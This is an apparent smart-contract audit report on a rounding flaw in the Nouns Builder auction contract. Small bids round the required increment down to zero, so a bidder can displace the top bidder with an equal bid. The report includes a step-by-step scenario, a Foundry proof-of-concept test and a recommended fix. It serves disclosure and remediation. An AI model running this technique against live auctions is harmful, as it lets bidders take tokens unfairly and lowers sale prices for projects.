Rare Blue Monkey

high

# Bypass bid increment for zero or small non-zero reserve and small bid, and replace last highest bidder with the same bid amount

## Summary
The create bid function has rounding issues. With certain conditions, this can lead to bidders to be the top bidder without increasing the bid, meaning a new bidder can replace the current top bidder without placing a higher bid.

## Vulnerability Detail
Lets break down the `Auction::_createBid()` method. It checks if there was no previous highest bidder. If none, then current bid is the first bid, and it ensures that the bid is alteast the minimum reserve price.

```solidity
        if (lastHighestBidder == address(0)) {
            // Ensure the bid meets the reserve price
            if (msgValue < settings.reservePrice) {
                revert RESERVE_PRICE_NOT_MET();
            }

            // Else this is a subsequent bid:
        } else {
```

Otherwise, it calculates the min bid as `minBid = lastHighestBid + ((lastHighestBid * settings.minBidIncrement) / 100);`.
The second part `((lastHighestBid * settings.minBidIncrement) / 100)` can be made 0 (described in the next paragraph), which then makes `minBid = lastHighestBid`, therby allowing another bidder to be the highest bidder for the previous bid amount itself.

```solidity
        } else {
            // Used to store the minimum bid required
            uint256 minBid;

            // Cannot realistically overflow
            unchecked {
                // Compute the minimum bid
                minBid = lastHighestBid + ((lastHighestBid * settings.minBidIncrement) / 100);
            }

            // Ensure the incoming bid meets the minimum
            if (msgValue < minBid) {
                revert MINIMUM_BID_NOT_MET();
            }
            // Ensure that the second bid is not also zero
            if (minBid == 0 && msgValue == 0 && lastHighestBidder != address(0)) {
                revert MINIMUM_BID_NOT_MET();
            }

            // Refund the previous bidder
            _handleOutgoingTransfer(lastHighestBidder, lastHighestBid);
        }
```

There are several ways to make `((lastHighestBid * settings.minBidIncrement) / 100)` as zero. We just need to keep `lastHighestBid * settings.minBidIncrement < 100`, and the overall value can then just be 0. Below is an example situation where this is possible:

### Scenario 1
* The `settings.reservePrice` is set to 0. The `settings.minBidIncrement` is set to 10 (initial value).
* Alice places a bid for 1. Alice becomes the top bidder.
* Chuck places a bid for 1, and now Chuck becomes the top bidder. Chuck did not have to post a higher bid.
    * This is possible because:
        * `minBid = lastHighestBid + ((lastHighestBid * settings.minBidIncrement) / 100);`
        * `minBid = 1 + ((1 * 10) / 100);`
        * `minBid = 1 + ((10) / 100);`
        * `minBid = 1 + 0;`
        * `minBid = 1;`
* Chad places a bid for 1, and now Chad becomes the top bidder. Chad did not have to post a higher bid.
    * This happens because of the same reason as for Chuck.

## Proof of Concept

The test below can be run using this command: `forge test --match-test "test_poc"`

(The actual attack happens in the `test_poc()` function. Majority of the code is just setup and deployment steps)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;

import "forge-std/console.sol";
import { Test } from "forge-std/Test.sol";
import { IToken, Token } from "../src/token/Token.sol";
import { NounsBuilderTest } from "./utils/NounsBuilderTest.sol";
import { MockERC721 } from "./utils/mocks/MockERC721.sol";
import { MockImpl } from "./utils/mocks/MockImpl.sol";
import { MockPartialTokenImpl } from "./utils/mocks/MockPartialTokenImpl.sol";
import { MockProtocolRewards } from "./utils/mocks/MockProtocolRewards.sol";
import { Auction } from "../src/auction/Auction.sol";
import { IAuction } from "../src/auction/IAuction.sol";
import { AuctionTypesV2 } from "../src/auction/types/AuctionTypesV2.sol";
import { WETH } from "./utils/mocks/WETH.sol";
import { IManager, Manager } from "../src/manager/Manager.sol";
import { MetadataRenderer } from "../src/token/metadata/MetadataRenderer.sol";
import { MetadataRendererTypesV1 } from "../src/token/metadata/types/MetadataRendererTypesV1.sol";
import { IGovernor, Governor } from "../src/governance/governor/Governor.sol";
import { ITreasury, Treasury } from "../src/governance/treasury/Treasury.sol";
import { ERC1967Proxy } from "../src/lib/proxy/ERC1967Proxy.sol";

contract AuctionTest is Test {
    IManager.FounderParams[] internal foundersArr;
    IManager.TokenParams internal tokenParams;
    IManager.AuctionParams internal auctionParams;
    IManager.GovParams internal govParams;

    address internal aliceTheBidder;
    address internal chuckTheBidder;

    address internal founder;
    address internal founder2;

    Token internal token;
    MetadataRenderer internal metadataRenderer;
    Auction internal auction;
    Treasury internal treasury;
    Governor internal governor;

    address internal dao;

    address internal managerImpl0;
    address internal managerImpl;
    address internal tokenImpl;
    address internal metadataRendererImpl;
    address internal auctionImpl;
    address internal treasuryImpl;
    address internal governorImpl;

    Manager internal manager;
    address internal rewards;

    address internal weth;

    function setUp() public virtual {
        aliceTheBidder = vm.addr(0xB1);
        chuckTheBidder = vm.addr(0xB2);

        founder = vm.addr(0xCAB);
        founder2 = vm.addr(0xDAD);

        dao = vm.addr(0xB0B);

        vm.deal(aliceTheBidder, 100 ether);
        vm.deal(chuckTheBidder, 100 ether);

        weth = address(new WETH());

        managerImpl0 = address(new Manager(address(0), address(0), address(0), address(0), address(0), address(0)));
        manager = Manager(address(new ERC1967Proxy(managerImpl0, abi.encodeWithSignature("initialize(address)", dao))));

        tokenImpl = address(new Token(address(manager)));

        metadataRendererImpl = address(new MetadataRenderer(address(manager)));

        auctionImpl = address(new Auction(address(manager), address(rewards), weth, 0, 0));

        treasuryImpl = address(new Treasury(address(manager)));

        governorImpl = address(new Governor(address(manager)));

        managerImpl = address(new Manager(tokenImpl, metadataRendererImpl, auctionImpl, treasuryImpl, governorImpl, dao));

        vm.prank(dao);
        manager.upgradeTo(managerImpl);

        setFounderParams();
        setTokenParams();
        setAuctionParams();
        setGovParams();
        deploy();
        setMockMetadata();
    }

    function setFounderParams() internal virtual {
        address[] memory wallets = new address[](2);
        uint256[] memory percents = new uint256[](2);
        uint256[] memory vestingEnds = new uint256[](2);

        wallets[0] = founder;
        wallets[1] = founder2;

        percents[0] = 10;
        percents[1] = 5;

        vestingEnds[0] = 4 weeks;
        vestingEnds[1] = 4 weeks;

        uint256 numFounders = wallets.length;

        require(numFounders == percents.length && numFounders == vestingEnds.length);

        unchecked {
            for (uint256 i; i < numFounders; ++i) {
                foundersArr.push();

                foundersArr[i] = IManager.FounderParams({ wallet: wallets[i], ownershipPct: percents[i], vestExpiry: vestingEnds[i] });
            }
        }
    }

    function setTokenParams() internal virtual {
        bytes memory initStrings = abi.encode(
            "Mock Token",
            "MOCK",
            "This is a mock token",
            "ipfs://Qmew7TdyGnj6YRUjQR68sUJN3239MYXRD8uxowxF6rGK8j",
            "https://nouns.build",
            "http://localhost:5000/render"
        );

        tokenParams = IManager.TokenParams({ initStrings: initStrings, metadataRenderer: address(0), reservedUntilTokenId: 0 });
    }

    function setAuctionParams() internal virtual {
        auctionParams = IManager.AuctionParams({ reservePrice: 0, duration: 10 minutes, founderRewardRecipent: address(0), founderRewardBps: 0 });
    }

    function setGovParams() internal virtual {
        govParams = IManager.GovParams({
            timelockDelay: 2 days,
            votingDelay: 1 seconds,
            votingPeriod: 1 weeks,
            proposalThresholdBps: 50,
            quorumThresholdBps: 1000,
            vetoer: founder
        });
    }

    function setMockMetadata() internal {
        string[] memory names = new string[](1);
        names[0] = "testing";

        MetadataRendererTypesV1.ItemParam[] memory items = new MetadataRendererTypesV1.ItemParam[](2);
        items[0] = MetadataRendererTypesV1.ItemParam({ propertyId: 0, name: "failure1", isNewProperty: true });
        items[1] = MetadataRendererTypesV1.ItemParam({ propertyId: 0, name: "failure2", isNewProperty: true });

        MetadataRendererTypesV1.IPFSGroup memory ipfsGroup = MetadataRendererTypesV1.IPFSGroup({ baseUri: "BASE_URI", extension: "EXTENSION" });

        vm.prank(metadataRenderer.owner());
        metadataRenderer.addProperties(names, items, ipfsGroup);
    }

    function deploy() internal virtual {
        (address _token, address _metadata, address _auction, address _treasury, address _governor) = manager.deploy(
            foundersArr,
            tokenParams,
            auctionParams,
            govParams
        );

        token = Token(_token);
        metadataRenderer = MetadataRenderer(_metadata);
        auction = Auction(_auction);
        treasury = Treasury(payable(_treasury));
        governor = Governor(_governor);
    }

    function test_poc() public {
        vm.prank(founder);
        auction.unpause();

        // Get Auction details
        (uint256 tokenId, uint256 highestBid, address highestBidder, uint256 startTime, uint256 endTime, bool settled) = auction.auction();
        assertEq(tokenId, 2);
        assertEq(highestBid, 0);
        assertEq(highestBidder, address(0));
        assertEq(startTime, 1);
        assertEq(endTime, 1 + auctionParams.duration);
        assertEq(settled, false);

        // Alice bids for token 2 with a bid amount of 1
        vm.prank(aliceTheBidder);
        auction.createBid{ value: 1 }(2);

        (, uint256 highestBid1, address highestBidder1, , , ) = auction.auction();
        assertEq(highestBid1, 1);
        assertEq(highestBidder1, aliceTheBidder);

        // Chuck bids for token 2 with the same bid amount of 1,
        // and takes over Alice to become the top bidder
        vm.prank(chuckTheBidder);
        auction.createBid{ value: 1 }(2);

        (, uint256 highestBid2, address highestBidder2, , , ) = auction.auction();
        assertEq(highestBid2, 1);
        assertEq(highestBidder2, chuckTheBidder);
    }
}
```

## Impact

There are two major impacts here:

- Even though the `settings.minBidIncrement` was non-zero, rounding issues leads to small bids to act as if `settings.minBidIncrement` was set to 0. This allows other bidders to be the top bidders without placing any higher bids.
- This can further hurt the project where the bid for a token may never exceed the amount of 1, and all tokens might get sold at value 1. This can happen if the `settings.reservePrice` is set to 0. Alternatively, this can also happen if `settings.reservePrice` is set to a value such that `lastHighestBid * settings.minBidIncrement` are less than 100. In such a case, the token gets sold for an amount of `lastHighestBid` which can just be `settings.reservePrice + 1`.

## Code Snippet

https://github.com/sherlock-audit/2023-09-nounsbuilder/blob/main/nouns-protocol/src/auction/Auction.sol#L214

## Tool used

Manual Review

## Recommendation

If the `((lastHighestBid * settings.minBidIncrement) / 100)` is less than 1, then forcefully ensure that `minBid` is atleast `lastHighestBid + 1`

Update the `minBid` calculation to be:

```diff
            unchecked {
                // Compute the minimum bid
+               uint256 increment = lastHighestBid * settings.minBidIncrement;
+               if (increment < 100) {
+                   minBid = lastHighestBid + 1;
+               } else {
+                   minBid = lastHighestBid + ((lastHighestBid * settings.minBidIncrement) / 100);
+               }
-               minBid = lastHighestBid + ((lastHighestBid * settings.minBidIncrement) / 100);
            }
```
